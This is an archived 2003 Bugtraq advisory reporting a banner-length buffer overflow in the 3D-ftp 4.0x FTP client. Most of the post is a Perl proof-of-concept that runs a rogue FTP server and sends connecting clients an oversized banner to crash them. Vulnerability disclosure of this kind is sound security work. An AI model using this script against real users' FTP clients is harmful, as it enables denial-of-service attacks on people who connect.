bugtraq - Buffer overflow in 3D-ftp

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Mon, 28 Apr 2003 14:58:03 +0400
From: Over_G <overg@...l.ru>
To: bugtraq@...urityfocus.com, vuln@...urity.nnov.ru
Subject: Buffer overflow in 3D-ftp


Product: 3D-ftp Client
Version: 4.0x
OffSite: http://www.sitegallery.net/
Problem: Remote buffer overflow
------------------------------------------

3D-ftp - Quite good Windows FTP Client. FTP Client have many opportunities

Remote buffer overflow will take place if server send long banner >= 8192
Client can not process these data and he is crash! 

Fix: Download new version.

Sample exploit in perl. For Crash 3D-ftp use: ftpbanex.pl 8193






#!/usr/bin/perl
########################################################
#
# Banner Buffer Overflow remote exploit in FTP Clients
#
#
#                by Over_G [DWC Gr0up]
#
#         www.dwcgr0up.com      www.overg.com
#########################################################
use IO::Socket;
$port = "21";
$data = "a";
$bsize = $ARGV[0];

print "\n  Banner Buffer Overflow remote exploit in FTP Clients\n\n";
print "           by Over G[DWC Gr0up]\n";
print "     www.dwcgr0up.com www.overg.com\n\n";

if (defined $bsize) {}
 else {
  print "Incorrect parameters.\n";
  die "Usage: perl ftpbanex.pl [buffer_size]\n";
}
print "Creating server...\n";
$buf .= $data x $bsize;
$server = IO::Socket::INET->new(LocalPort => $port, Type =>
SOCK_STREAM, Reuse => 1, Listen => 2)
or die "Couldn't create server.\n";
print "Awayting connections...\n";
while ($client = $server->accept())
{
 print "Client connected.\n";
 print "Attacking...";
 print $client "$buf";
 print "OK\n";
 close($client);
}





Greetz to: DHGroup, Gipshack.

www.overg.com www.dwcgr0up.com
regards, Over G[DWC Gr0up]